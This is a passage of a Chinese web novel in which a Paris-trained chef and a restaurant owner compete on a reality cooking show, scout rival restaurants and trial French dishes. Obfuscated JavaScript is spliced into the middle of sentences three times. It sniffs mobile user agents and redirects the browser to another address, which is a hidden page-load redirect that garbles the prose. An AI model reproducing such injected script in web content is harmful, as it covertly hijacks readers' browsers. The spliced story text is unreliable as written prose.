无论如何，他们总算是暂时达成一致了！ “好！”谭宁伸出手和陆跃击掌为誓，迫不及待地要大干一场。 “让我们一起把辣椒碰头做大做强！！把奖金收入囊中！！！” 4. 《主厨的战场》 周末是各餐厅人流量的高峰期，遇到天气好的时候往往还没到正点店门口就已经排起了长队。叫号声此起彼伏，有种误入大学食堂的错觉。 前一天晚上，谭宁和陆跃商量好，打算趁着周末偷偷走访其他两家店。 一是估算对方的客流量，心里有个底；二是打探一下人家的经营模式，打造差异化竞争。 老规矩：猜拳决定，赢得人先选。 谭宁选了离自己家更近的半斗米，陆跃只能心不甘情不愿地去了屿夏。 “有必要吗？”陆跃绷着个脸：“咱们做好自己的不就行了，而且你确定没有违反游戏规则？” “打住！” 一提起这个他就来劲：“我们说好了，我帮你经营，你帮我拿下比赛。咱们互不影响，互相帮助。” “我都问过导演了，没问题。”谭宁眯眯眼：“明天我会实时监督你的。必须去！听到没！” 陆跃翻个白眼，还是应了。 …… “人家好不容易休息一天，你倒好，把人家拉过来陪你排队！” 上午十点，曲小秋被谭宁从床上拽起来，坐在她粉色破旧小电驴后座一路风驰电掣地跑到这儿来了。 曲小秋看了眼招牌——半斗米，跟它略显土气的装修风格倒是很搭配。 “你这打扮……”曲小秋将谭宁从上往下扫：看着像伪人的黑色齐刘海假发，大框眼镜，还有装嫩的jk制服…… “我的妈呀。”曲小秋嫌弃地揪着她的塑料头发：“生怕别人看不出来你是来卧底的吗？” 啪—— 谭宁拍开她的手，“头发都被你搞乱了！你懂什么？我这是流行穿搭好不好，你看旁边也有小姐姐这么穿啊！” “人家是十八岁青春美少女，你呢！”曲小秋比她低半个脑袋，垫着脚把手搭着她肩膀上，以一个特别滑稽的姿势捏了捏她的脸：“你别说，这巴黎的风水是养人啊，你这脸嫩得也能跟美少女们比一比了！” 谭宁抿唇一笑，虽然知道是开玩笑心情也轻松了不少，不枉费她向小表妹借的这一身行头。 “你也是啊少女秋。” 谭宁推着她在矮凳坐下，还好她早有预感来之前在小程序上提前取了号，现在前面还有两桌就到她们了。 “陆跃陆跃，我已经到了，你那边情况怎么样？” 谭宁给陆跃发语音，那边说自己刚出发。 谭宁回了个OK。 收起手机，就看见曲小秋一脸奸诈地看着她笑。 “你干嘛……” 店内吹来一阵凉风，手臂上顿时起了一层鸡皮疙瘩。 “嘿嘿嘿。”曲小秋凑过来指了指她的手机：“你和陆跃这算是世纪大和解，携手经营夫妻店？” “我呸！”这话谭宁越听越难受：“要不是形势所迫，我恨不得一脚把他踹飞才好！” “但我看节目里你们不是相处得挺不错的嘛～” “姐妹，你看到我的法令纹了吗？”谭宁苦笑：“知道我每天装得有多辛苦了吧，手心都快抠烂了。” 谭宁和陆跃之间的纠葛最早可以追溯到九年前，两人刚上高中的时候。 曲小秋作为谭宁的幼儿园闺蜜，一个小区里长大的发小，虽然没有跟两人在一个班，却也对事情的经过了如指掌。 谭宁打从娘胎里生出来就是个结实的姑娘，接生的护士长把她交给妈妈的时候说：“嚯，七斤八两，大胖闺女！” 幼儿园和小学时期，谭宁就是个不折不扣的小胖墩，走到哪儿都有人想捏她圆圆肉肉的脸蛋。 大概是因为从小营养就补得好，初中开始猛长个子，横向纵向都没落下过。于是等上了高中，一米六八的个子配上一百五十斤的体重，高高壮壮，肌肉紧实，十分打眼。 曲小秋那时一米六不到，站在她旁边跟小豆苗似的。 现在提起或许觉得很威风很厉害，但那会儿谭宁却是实打实地受了不少嘲笑和白眼。 那时谭宁也没有现在豁达开朗，虽然表面上大大咧咧没心没肺，内心还是有些脆弱。 高一开学第一天，大家在班主任的指挥下换座位。座位表投在大屏幕里，谭宁因为个子高被安排在后排，最后两排除了她以外全是男生。 谭宁背着书包在座位上坐下，没多久就听到后面传来窸窸窣窣的声音。谭宁隐隐约约感觉到他们在议论自己，她不敢说话，只好埋头整理抽屉。 后排见她默不作声更加变本加厉，不时用脚踢她的椅子，推着自己的桌子挤占她的位置。 谭宁忍无可忍，在背后再一次动作的时候转过身，谁知还没张嘴，身后的人一个俯身的动作，被她抬起的手肘重重一击，哐的一声，整个人往后仰去…… “靠！”陆跃整个下巴跟散架了似的，火辣辣的疼。大早上刚来就受到重击，陆跃脸色奇差，问候的话更是张嘴就来。 “你眉毛下面挂俩蛋是不是？后面有人没看见呐！” 谭宁本来还点愧疚，毕竟给人打得下巴都肿了。结果这人还不依不饶起来，本就受了委屈的她终于控制不住了，两个人当即吵了起来。 “你才挂蛋！你没蛋！谁让你推我的！” “嘿！你这人讲不讲理？我什么时候推你了！” …… 开学第一天就喜提办公室喝茶，谭宁和陆跃的梁子就这么结下了。 只能说有些人是天生的宿敌，磁场就不对付。 曲小秋促狭地笑了笑，问：“那你看网友磕你俩的cp什么感想？” 谭宁当即摆出一个大大的叉。 “那么多好吃又管够的粮食，求观众老爷们放过我，吃点好的吧！” “哈哈哈……” “小桌A33号，请您用餐，小桌A33号……” 谭宁把曲小秋拉起来：“哎！到我们了，快！” 服务员把她们带到座位上，“你好两位，扫码点餐就行。” “好的，谢谢。” 朋友里面，曲小秋最愿意跟谭宁出来吃饭。从做攻略、烫碗、点菜、剥虾剥蟹……一条龙贴心服务，自己一点事都不用想，只管吃就行。 不到十分钟，谭宁已经点好了菜。 她环顾四周，结合菜单及定价来看，半斗米的风格和它的名字一样朴实无华。 做旧的木桌长椅，天花板上悬挂着装饰辣椒串玉米串，还有经济实惠的价格，这些本身就是一种特色和优势。 更何况现在还有节目的宣传，店内人头攒动，座无虚席。 难得的是人多上菜速度竟也不慢，比辣椒碰头还要快，但辣椒碰头可从来没有这么多顾客！ 这家店以蒸菜为主，菜装在砂煲里上汽蒸熟，是星城东部的一种特色美食。红彤彤的辣椒盖在上面，用筷子拌开，辣椒的辛香和调料混合在一起，香味被彻底激发。 谭宁点了四个蒸菜三个炒菜，都是主厨推荐菜色。 口味菜用料足，辛辣咸香，很下饭。但吃多了未免会觉得有点咸，对不能吃辣的顾客没那么友好。 不过蒸的素菜一定程度上起到了缓冲作用。南瓜和芋头自带的香甜被牢牢锁在食物里，一口下去，绵软清甜。 谭宁把每道菜都尝了一遍，她吃饭快，填饱肚子后便悄悄打量起这里的顾客构成。 这家店没有包厢，用餐区大概是100平，最大的桌子可以容纳8人。因为临近景区，这里的顾客以年轻的游客和学生为主，也有少数是附近的居民带着小孩。 老星城居民对食物挑剔，偏好更有特色的私房菜。这些人并不是半斗米的受众，它更像是一张普适性高的对外名片，游客可以通过这张名片对星城菜有初步的印象。 随着星城旅游业的蓬勃发展，催生了许多类似于半斗米这样的餐饮品牌，通过口口相传和互联网的营销，为更多人所熟知和喜爱。 如果做得好的话，甚至可以在全国开几十家连锁店。 一天的流水下来，是很惊人的数字。 谭宁总算意识到第一天看到的那个弹幕并非危言耸听，辣椒碰头的竞争力确实很疲软。 谭宁把观察到的东西记在备忘录里，发消息问陆跃那边情况如何。 陆跃那儿出了点意外。 来之前他打电话问需不需要预约，店员回答说不需要直接来就好。 结果等到了以后店员得知他就一个人，又改口说位置都已经预订出去了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525933|203498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一问才知道，这家店不接散客，只有包厢，最少也得有三个人。 门口架着摄像机，陆跃没跟人争辩，点了一瓶挺贵的酒，又说待会还有朋友要来。 前台正要把他请进包厢，一位更练达的女士从里面出来，声音嘹亮。 “陆老板，您大驾光临，怎么不提前给我打个电话？” 陆跃心中了然，这顿饭只怕是吃不成了。 车钥匙在食指转了两圈，陆跃勾着漫不经心地笑，松松垮垮地站在那儿，看了眼制服上的金色铭牌。 店长：Linda。 “这话说的，我一没见过您，二不知道您的联系方式，怎么给您打电话？” Linda笑容有一瞬间凝滞，优良的职业素养又让她挤出一个微笑：“陆老板不认识我没关系，但我可对您很熟悉。” “今天店里不忙，怎么有空大驾光临我们小店？” “怎么不忙？”陆跃笑得肩膀轻轻摇晃，“这不刚忙完来填肚子吗？Linda店长，我早饭还没吃呢，怕再这么聊下去晕倒在你们店。” 陆跃指了指旁边的机器：“开着直播呢，影响多不好。” 【爸呀大哥，你是哪位？】 【隔壁直播间来的，捉住陆总。】 【陆总的嘴哈哈哈哈，过安检的时候嘴巴不会被扣下来吗？】 【早上就说怎么没看见谭主厨，原来两夫妻出来打探敌情了哈哈哈……主厨大人快来，你老公被抓了（不是】 …… “陆总。”Linda这下假笑都笑不出来了，她敛神正色道：“咱们三家现在是竞争关系，您偷偷过来打探，这不太合适吧？” 陆跃在心里把谭宁全家都问候了一遍，偏偏还要保持表面风度。 若不是姓谭出的这馊主意，他何至于被人像贼一样抓个现行？！ “那您可误会了！”陆跃耸了耸肩：“来之前我还给你们店打了个电话呢，不信你可以问前台小姐姐。” 前台小姐姐冷不丁地被点名，一脸惊恐，头摇得像拨浪鼓。 “唉~”陆跃故作伤神地叹了一声：“你说我一个普通食客，也就嘴馋了点。路过一家这么有格调的店想进来解解馋，怎么就成了居心不良了？真是大误会！” “你！”Linda气得脸都绿了。 “不过Linda店长……”陆跃笑嘻嘻地：“您要是觉得不公平，我也欢迎您光临辣椒碰头啊。您放心，我肯定第一时间把您请进去，好吃好喝的供着。” 这是在指桑骂槐，怪他们招待不周。 好的坏的都被他说了，别人一句声都做不得。 陆跃嘴是贱了点，但好在会察言观色。老爷子说他这人从小就鬼精鬼精，眼珠都转得比别人快，这话一点不错。 他见好就收：“行了Linda店长，我就不耽误您的时间了。这么多包厢都订出去了，您应该挺忙的。回见！” “哈哈哈哈哈……” 等不到陆跃回信的谭宁点开直播，没想到却意外观看到了一出好戏，看着屏幕上Linda像打翻了调色盘一样的脸，谭宁笑得腰都直不起来。 让他去打探消息，他倒好，给人家一顿魔法攻击。 谭宁给他发了一张从直播间截的图，画面中间他正站在那儿舌战群儒火力全开。 谭比格：看来你没吃上饭，对面倒是被气饱了。【还得是你】 陆跃刚坐进车里，被这条消息气得不轻，对着车门一踢，门啪得一声关上，与外界彻底隔绝起来。 两分钟后，谭宁收到他的回信，点开一看，笑不出来了。 陆二哈：【图片】 用红色笔圈起来的三条评论： 【家人们刚落地，本来想去吃辣椒碰头的。现在不敢了，怕陆总的嘴偷偷给我下毒。】 【家人你多虑了，辣椒碰头的菜是谭主厨做的，谭主厨人美心善放心去吧！】 【上面的姐妹别听她忽悠啊！谭主厨是人美心善不错，但她天天跟陆总亲嘴，嘴毒这块真的没有好到哪里去啊！】 …… “啊啊啊啊啊！”谭宁恨不得当即把手机砸了：“这简直就是危言耸听！！！” 5. 《主厨的战场》 第二天早上，谭宁刚到店就收到了节目组递来的卡片。 卡片上写着：昨天谭主厨和陆总的行为一定程度上对其他门店的经营造成了影响，因为有提前报备，所以不予以处罚。但出于公平考虑，节目组将陆续安排其他两位嘉宾来辣椒碰头进行参观，请做好准备。 谭宁对着摄像头一字一句地念完，最后一个笑属于是没招了。 不用想都知道是屿夏那边搞的鬼。 “哈哈，被制裁了呢～” 【好可爱，小姐姐牙齿都咬碎了吧！】 【嘴上笑嘻嘻，心里mmp……】 【没事的谭主厨，天塌了还有陆总的嘴顶着！】 …… “我求求你们了……”谭宁现在是看到这个字就泛胃酸的程度，她苦着一张脸，双手合十：“我和陆跃纯合作关系，请大家放过我吧！” 【唇友谊吗？那很有意思了。】 【我去！震撼首发！】 【铁幕演说吗？怎么办？更好磕了！】 【放心吧谭主厨，你什么都不用做，我们自己会磕！】 …… “我……”谭宁看着评论区，一口气差点没能喘上来。 “谭宁！！！” 里头传来陆跃的声音，谭宁极不耐烦地吼了回去：“干嘛！！！” “进来！” “喂我花生啊家人们！”谭宁对着镜头一顿挤眉弄眼，人在屋檐下，迫于淫威，谭宁没敢再多说话。 陆跃听到她蹦跶着进来的声音，抬头看了一眼，语气不善：“你在傻乐什么？” “我……”谭宁的视线不自觉跟随着陆跃的嘴唇看着它一张一合，一时之间竟忘了自己要说什么。 陆跃的眉毛拧成一条线：“说话啊，现在他们都要来店里了，你准备怎么办？” 随着音调提高，眼前的陆跃突然变成一只怪兽，向她张开血盆大口。 “啊——”谭宁突然尖叫一声，双手捂住自己的脸。 天呐！她刚刚到底在想什么？为什么会盯着……的嘴出神！！！ “哎哟小谭姑娘……”一旁的王师傅揉了揉耳朵，抱怨道：“你这一惊一乍的，我心脏受不了啊！” 陆跃冷哼了一声，跟着便透过指缝看到她熟透了的脸。 “哎……”陆跃向她走近：“你是不是生病了？” “我没有！”陆跃清冽的气息随着他的指尖越靠越近，谭宁一个跃步弹开，生怕被他碰到。 “没事，我没事！”谭宁往外呼出一口气，故作镇定：“那什么……等人来了再说，怕啥！” “现在当务之急是把咱们的菜单定了。咳咳，我有个想法，你们听听看？” “行。”陆跃伸出手让她等会儿，一声嗓子把店长三七和甜品主厨默默喊了进来。 “好了，说吧。” 谭宁看着面前的四人，不自觉地吞了吞口水。 “就是个临时的想法，大家有什么意见尽管提。” 四人纷纷点头，谭宁清清嗓子接着说：“根据昨天我和陆总探店搜集到的信息以及这几天对咱们的了解……要想赢下比赛，必须要迅速建立优势，趁着节目初期的热度把顾客吸引过来。” “所以呢？” “所以……”谭宁上下眼皮轻轻一碰，牵动嘴角露出一个灿烂的笑：“我觉得可以利用麓山秋体验店的名号把……” “不行。” 又是陆跃！ “陆总……”谭宁叉着腰，无力地看着他：“能不能先听我说完？” “不能。”陆跃此刻脸色奇差，耐心告罄：“别告诉你来了这么久就想出这么个歪门邪道，按规定我可以向节目组投诉的。” 什么叫做歪门邪道？这可是她熬夜看完半斗米和屿夏的直播回放搜集了大量资料以后深思熟虑的方案！ 都已经火烧眉毛了，他怎么还有功夫跟她斗嘴？ “辣椒碰头就是辣椒碰头，跟麓山秋一点关系都没有，你死了这条心。”陆跃一句话断了她的念想，其他人更是不敢吱声。 “Fine.”谭宁虽然不理解，但也只能尊重：“那就只能麻烦一点，另辟蹊径了。” 麓山秋作为星城黑珍珠在榜的餐厅唯三之一，其创始人陆山先生更是拥有“烹饪大师”头衔的国宴厨师，含金量不言而喻。 麓山秋每天只接待六桌客人，最夸张的时候要提前半年预约。在红薯上一搜，全网几乎都是自来水推荐，去过的都说好。 谭宁都不敢想象，如果辣椒碰头以麓山秋官方授权体验店的名号横空出世，该有多少人慕名前来。 那都是白花花的银子啊！ 这主意想出来，谭宁都忍不住为自己拍手叫好，偏偏在陆跃这里掉了链子，真是烂泥扶不上墙！ 这下好了，只能舍近求远。 谭宁的方案二是：取消融合料理，中餐和法餐分周期轮流供应。融合菜早就不是什么新鲜玩意儿，与其在这片红海里做些四不像，倒不如利用现有的条件，把优势最大化。 “中餐由王师傅坐镇，我负责法餐，陆总统筹。”谭宁挑了挑眉：“怎么样？” “哎，小谭姑娘这主意不错啊！”王师傅第一个出声附和，他本就是中厨出身，纯做中餐可比现在要得心应手多了。 “可我们这是中餐馆，就这么贸然加入法餐会不会影响市场定位？除了谭小姐以外，我们餐厅也没有其他人懂法餐了啊。” 店长三七说话时，谭宁观察着陆跃的表情，明显三七说出了他的心里话。 “三七店长，我非常理解你的顾虑。” 担心无非是两点：一是不确定法餐是否能受到顾客的喜欢，二是在谭宁离开以后，又要如何对待创新的这一部分。 “我们可以先小范围地试运行一段时间，顾客在用餐前可以提供法餐的免费试吃。如果反馈不错的话，再正式实施也不迟。” 三七边听边点头，思索的神情。 “另外……”谭宁说到第二个问题：“这三个月内所有上架的法餐我都会做个详细的SOP出来，如果有人愿意学的话，我也会倾尽所能。离开以后，有什么问题随时可以问我。” “至于以后要不要继续沿用这个模式，由你们决定，我全力配合。” 话说到这个份上，谭宁几乎是把三年在巴黎所学的底都交出来了。 她眨了眨眼，试探道：“大家觉得怎么样？” 王师傅自然没什么意见，三七店长也松了口。至于默默……从进来到现在他都一言不发，低着头思绪好像一直在神游。 “默默。”陆跃叫他：“你对西餐更了解，有什么想说的吗？” “我……”默默扣着手指，欲言又止。 谭宁以为他是不好意思，冲他友好地笑了笑：“没事，你放心说。” “好。”默默深吸一口气：“那我就说了。” “我想知道，法餐的五种母酱我们需要自己熬制吗？鸽子胸或比目鱼这些食材的火候要通过什么来判断最佳熟度：是触感、温度还是汁水渗出的状态？美拉德反应时，是将骨头烤至深褐再萃取，还是利用低温满煮保留更纯净的香气分子？冷黄油悬入酱汁的时候，怎么判断乳化悬浮的最佳温度区间，避 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525934|203498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 免酱汁泄掉或者产生油脂分离？还有……” “等等等等！” 默默不鸣则已一鸣惊人，谭宁被这一连串的问题都搞懵了。 大家一边震惊平常寡言的默默竟然一口气说了这么长一段话，一边也开始好奇谭宁要怎么回答。 “我们一条一条来好不好？” 不说话的时候，默默又恢复了呆愣的模样，他缓慢地点了点头。 “首先，酱汁肯定是需要自己熬的，这是法式料理的灵魂所在。” “其次，不同的食材有不同判断熟度的方法。法餐讲究外焦里嫩，对于鸽子胸我几乎只用触感，法餐厨房有压力测试方法，鸽子胸的完美状态是介于三分和五分之间，类似于……” 谭宁做了个示范，“按压我们的嘴唇，有弹性的同时能感觉到内部果冻般的微微颤动。” 怎么回事？今天是跟嘴唇过不去了？ 谭宁不动神色地收回眼神，继续道：“至于比目鱼，在巴黎时老师有讲过一种名为“珍珠眼泪”的方法：当比目鱼脊椎骨缝隙之间开始渗出针尖大小、半透明、像珍珠粉圆汤汁一样的小液滴时，就是关火的时刻。” “美拉德反应的两种方法其实都可以，我个人更偏好低温满煮骨头再配合焦化的蔬菜来丰富层次。” “最后就是关于黄油收汁。”谭宁脸上露出一抹自信的微笑：“我的窍门是：酱汁离火冷却20秒，用手背贴着锅壁感觉微烫——大概是58℃。这时候把冷黄油一块一块旋进去，勺子画‘8’字搅动。你会看到酱汁从浑浊变得像绸缎一样泛着光泽，这就是乳化的临界点。” 【我的天，这一刻我感觉谭主厨头顶都闪着光，中国女人牛B！】 【怎么回事，知识就这样像流水钻进了我的脑袋，谭主厨开课吧，我跪着听！】 【西厨生路过，小姐姐可以说讲得非常全面了。本来只是来看个乐子，没想到复习起专业知识了，谁懂五大母酱简直是西厨生的噩梦啊！】 …… “如何？”谭宁说完看向正在飞速打字的默默，“是你理想中的答案吗？” 默默打完最后一个字，抿了抿唇，笑容腼腆，眼里却放着光。 “谭主厨，我还想……” “那个——”三七适时打断他，这简直就是法餐狂热爱好者遇到祖师爷了，再这么下去两人聊三天三夜也聊不完。 “默默啊，谭主厨还要在我们这待三个月呢。慢慢来，有什么问题以后问也不迟。” “哦。”默默讪讪地收回手，又回到了之前的省电模式。只是现在多了一个功能，就是看到谭宁的时候自动解锁星星眼。 陆跃沉吟片刻，对店长说：“那你召集大家投票吧，通过率达到百分之八十以上就执行。” “谭宁，你没意见吧？” 谭宁对上陆跃剑眉下茶棕色的眼，微怔。片刻后，她耸了耸肩，笑道：“当然……没问题了。” 陆跃点点头，插着兜大步流星地走出去了。 十分钟后，店长宣布了投票结果：关于辣椒碰头——《主厨的战场》特别企划栏目，中法料理分周期供应提案全票通过，即日起开启试运营模式！ “另外……”店长收起卡片，看了一眼旁边的谭宁后说：“陆总说这段时间请大家积极配合谭主厨的工作。他不在的时候，由谭主厨全权管理店铺。” “辛苦大家，现在可以开始工作了！” 店员四散而去，谭宁怔怔地愣在原地，眼皮猛的一跳。 陆跃竟然就这么放心地把辣椒碰头交给她了？该不会又挖了什么坑等着她往里跳吧？ 6. 《主厨的战场》 Just 在三七店长的协调下，谭宁把整个餐厅的人员分成了两个小组。一组负责中餐，一组负责法餐。 谭宁继承了原先冷菜区的厨房，终于在辣椒碰头有了一方自己的小天地。 分完工后，谭宁带着自己的组员来到厨房，主要人员是默默、shake还有原先冷菜区的三名助理，除此以外还有其他人员作为机动组来旁听。 法餐料理的首要原则是季节性，菜单由时令决定，而不是厨师。 夏季的法餐主番茄、海鲜以及各种水果，整体风格清爽、轻盈、色彩鲜艳。 传统法餐一般是七道式，包括：开胃酒、前菜、主菜、奶酪、甜点、咖啡和餐后酒。 七道式的本质是七个“味觉实验”。 Amuse（味预告）、Potage（温感＋鲜）、Poisson（鱼蛋白香）、Viande（美拉德＋脂香）、Fromage（发酵香）、Dessert（焦糖果糖香）、Cafe（苦味复位）。 这样味蕾不会被单一味型“饱和”，保证下一道实验的基线归零。 厨房里，谭宁将法餐的逻辑讲给店员们听。大家听得认真，却又总感觉一知半解，因而露出困惑的表情。 “大家不要担心。”谭宁停下来，用笑容缓解他们的焦虑：“法餐烹饪没有大家想象的那么困难，它是一套非常完整的体系。” “在法餐里，味觉是可以被测量的参数，每一个步骤都有标准化的方法和要求。所以即使是从来没有接触过法餐的人也能通过训练输出稳定、可预期的味道。” 埃斯科菲耶把厨房切成热菜、冷菜、酱汁、甜点等8个工位，像流水线一样按“完成时间”倒排，每道菜从起锅到餐桌上不会超过5分钟。 同时用“俄式分餐”把大盘放桌边分小盘，保证每份温度、酱汁量、摆盘角度完全一致。 法餐像齿轮一样精密运转的秩序结构才是它成为世界模版的真正原因。 谭宁面前摆放着花花绿绿的蔬菜，她拿起一个番茄在空中掂了掂，游刃有余的样子。 “今天我要给大家分享的是一道在《料理鼠王》里闻名世界的料理——普罗旺斯炖菜！” 普罗旺斯炖菜作为南法的标志性菜肴，用夏季时蔬和普罗旺斯香草慢炖，色彩艳丽，口味酸甜。既可以作为冷盘的开胃菜，也可以搭配法棍作为主菜出现在餐桌上。 “需要用到的食材有番茄、茄子、洋葱、甜椒和西葫芦……”谭宁的手依次滑过这些食材，“当然还有大蒜，没有大蒜的普罗旺斯料理是不完整的。” “番茄提供酸味、汁水和颜色，是ratatouille的灵魂；茄子用来吸油同时增加软糯的口感；洋葱作为底味，而甜椒增加香气和色彩；西葫芦肉质紧实味道平和，是地中海的常用食材。” 谭宁让大家凑近，现在她要开始处理食材了。 “茄子、西葫芦和番茄切成三毫米的薄片，一定要保证均匀。”谭宁手起刀落，一块标准的茄子薄片就完成了：“不同蔬菜吸热和变软的速度不同，厚薄一致是确保成熟度统一的关键。” “可是……”一旁的小学徒举起手：“要怎么判断是不是三毫米呢？难道要一个一个用尺子量？” 话音未落，大家都噗嗤一声笑了出来。 “厨房不是实验室，一定范围内的误差都是可以接受的。一开始肯定会有点困难，勤加练习以后自然而然就会了。” 过程自然没有说的这样轻易，刀工是厨师的基本功，加练到手抖是家常便饭。 “不过……” 一个突然的转折，谭宁脸上浮现出微妙的笑意：“现代科技的进步诞生了名为刨丝器的东西，调到想要的刻度，问题都迎刃而解啦。” “哇~”shake呼出一口气：“谭主厨你良心大大的坏啊，有这么好的工具竟然故意留着最后说！” “哈哈……”谭宁吐了吐舌头：“这不是怕大家听困了，缓解一下气氛嘛。” “好，那我们进行下一步。” 尽管有刨丝器，谭宁还是习惯手切。她唰唰几下把食材切好，码得整整齐齐。 “茄子和番茄要用海盐把水杀出来，我们先把它们放在一边，待会用厨房纸吸干表面水分。” 普罗旺斯炖菜的组成很简单，一是蔬菜二是底酱。 在她讲解的过程中，默默已经把洋葱和大蒜等做底酱的食物切碎摆好了。 “冷锅倒入两汤匙的橄榄油加热，保持中小火把洋葱和大蒜放进去煸炒至半透明的状态。” 谭宁从大学就开始拍摄美食视频，在讲解方面很精练到位，没有一句废话。 “加入胡萝卜碎和去皮的烤红灯笼椒来中和番茄的酸味。”谭宁打开一罐碎番茄罐头倒进去搅拌均匀：“前面有说过普罗旺斯香草，主要是百里香和迷迭香，另外再加一点欧芹进去。” “保持敞口小火慢熬十五分钟收汁。” 在等待的过程中，谭宁安排了大致的分工。主要是按照划分的区域将人员填进去：冷菜间、蔬菜/汤台、酱汁、烤扒房、海鲜台、甜品房、肉台和出餐协调。 厨房讲究稳定，人员一旦定下，轻易不能变动。谭宁根据他们的基本功和个人意愿做了初步安排，并给每个区域发了一本电子手册。 “有什么不懂的可以随时问我，法餐不同于中餐，每个步骤都有精确的操作流程。这里面并没有高低之分，大家的工作到顾客手中呈现的就是同一道料理，希望接下来的时间里我们可以互相配合。” 厨房间里渐渐弥漫着蔬果的清香，关火后，谭宁打了一小碗底酱出来。 “我们现在要进行调味。”谭宁把手指向料理台贴着的菜谱：“按照这个配比把黑胡椒和海盐加进去，你们可以尝一下。” 碗依次传递，大家都觉得没问题后，谭宁才把调料正式加进底酱。 “熬好的底酱铺在烤盘底部，然后把之前切好的蔬菜片交替着码放在上面。”谭宁低着头，做出示范：“切记一定要排紧实，烘烤后蔬菜会缩水，如果不紧的话会散开。” “大家戴上手套，都来试一试吧，按照螺旋状摆好就行。” 法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525935|203498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 餐的摆盘也是一大讲究，讲究留白、三色、立体和酱汁花线四条铁律。在这个规则下，主厨们可以运用中心聚焦、对角线、高低错落等各种方法进行自由创作，打造自己的风格。 “好。”最后一片番茄摞上去，谭宁确认没有问题开始进行关键的调味：“光靠底酱是没有办法达到丰富的口感的，最后我们需要把橄榄油、海盐、黑胡椒粉以及切算的百里香混合，均匀涂刷在蔬菜的表面，这样可以激发蔬菜脆甜的口感。” 法餐也是时间的艺术，要达到完美的口感，注定不能一步到位。 谭宁取了一片锡纸包在烤盘上，“这一步是为了创造密闭的蒸汽环境，最大程度的保留住蔬菜里的汁水。” “制作过程切勿心急。”谭宁将烤盘缓缓放进烤箱，调好温度后转身笑了笑：“Toofast,it''satrick.Tooslow,it''samistake.Justright,it''samagic.” 美食也是一种魔术。 在试运行阶段，谭宁一共准备了三道料理。除了今天展示的普罗旺斯炖菜以外，还有青柠吞拿鱼和蜜桃巴巴蛋糕。 半小时后，揭开锡纸，再把烤盘放进去烤18分钟。高温与表层的橄榄油产生美拉德反应，这样一道色泽鲜美、口感丰富的普罗旺斯炖菜就做好了。 此时正值午餐供应点，今日店内的顾客不算多，谭宁一一摆盘后便让店员端出去让顾客们试吃。 看着一盘盘的试吃端出去，谭宁的内心有些忐忑。 虽然嘴上干劲十足、信心满满，但她并不知道这里的人对法餐的接受度如何，也害怕自己提出的想法落不了地。 shake看到谭宁在厨房低着头来回踱步，冲她嘿了一声。 “晃来晃去的干嘛呢？” “唉。”谭宁手心出了一层汗，感觉又回到了念书的时候老师检查作业：“你刚刚尝了那道菜感觉怎么样？” “说实话吗？”shake故意逗她。 谭宁咽了咽口水，嗯了一声：“说实话。” “实话就是……”shake和周围的小伙伴们对视一眼…… 然后异口同声道：“夯爆了！！！” “哇。”谭宁捂着胸口，心情像坐了过山车一般，却还没有真正落地，“真的吗？” “喏。”shake努了努嘴：“你看看就知道啰。” 谭宁顺着他指的方向看过去，店员端着空盘出现在窗口，春光满面：“谭主厨，顾客都吃完了，问还有吗？” “啊啊啊啊啊！”谭宁激动地叫出声，在原地蹦了一圈，“太好啦！” “哎哟~” 几米外的王师傅从厨房探出头来，打趣道：“你可悠着点啊小谭，要是摔坏了明天咱们店就开不了摊喽！” “知道啦王师傅！” “今天的试吃都供应完了。条妹，你跟顾客说想吃的话等我们正式运营的时候来，到时候还有更多的惊喜，保证让大家吃得尽兴！” 条妹收起餐盘，俏皮地敬了个礼：“收到！” 7. 《主厨的战场》 晚上打烊后，三七店长巡场检查完准备离店，路过小厨房时发现里面竟然还亮着灯。 “谭主厨？”三七店长进去一看，谭宁站在料理台前切东西：“您怎么还没走啊？” 谭宁瘪了瘪嘴，无奈地笑了笑：“这不明天要试营业嘛，得提前把酱汁熬出来。” “哦～”三七店长瞬间了然。下午的时候谭宁让她找供货商紧急送了一批货过来，原来是在做准备。 “好吧好吧。”三七握起拳头，给她手动加油：“那您忙，我就先走啦～” “嗯！拜拜！” 三七走之前把外面的卷闸门拉下来，没落锁。 在法式料理中，五大母酱是酱汁体系的基石和灵魂，主厨们在母酱的基础上自由创作，衍生出许多的新产品。 母酱包括：贝夏美酱、天鹅绒酱、西班牙褐酱、荷兰酱和番茄酱。 上午谭宁示范的普罗旺斯炖菜所用的酱汁就是由番茄酱衍生出来的。 除此以外，谭宁还需要准备青柠子姜酱用来制作吞拿鱼刺身，以及做冰淇淋会用到的蜜桃酱。 吞拿鱼也就是金枪鱼，富含omega-3，作为刺身搭配青柠是非常清爽的口感。 